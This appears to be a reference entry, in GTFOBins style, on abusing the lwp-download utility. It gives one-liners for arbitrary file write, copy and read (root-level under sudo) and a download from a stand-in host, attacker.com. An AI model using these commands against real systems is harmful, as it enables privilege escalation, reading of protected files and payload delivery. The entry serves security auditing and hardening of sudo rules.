lwp-download

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    echo DATA >/path/to/temp-file
    lwp-download file:///path/to/temp-file /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA >/path/to/temp-file
    lwp-download file:///path/to/temp-file /path/to/output-file
  2. CommentThis actually copies a file to a destination.
    This function can be performed by any unprivileged user.
    lwp-download file:///path/to/input-file /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lwp-download file:///path/to/input-file /path/to/output-file

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    lwp-download file:///path/to/input-file /dev/stdout
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lwp-download file:///path/to/input-file /dev/stdout

Download

This executable can download remote data.
  1. CommentThe destination file /path/to/output-file can be omitted, in that case the file is saved to input-file in the current working directory.
    This function can be performed by any unprivileged user.
    lwp-download http://attacker.com/path/to/input-file /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lwp-download http://attacker.com/path/to/input-file /path/to/output-file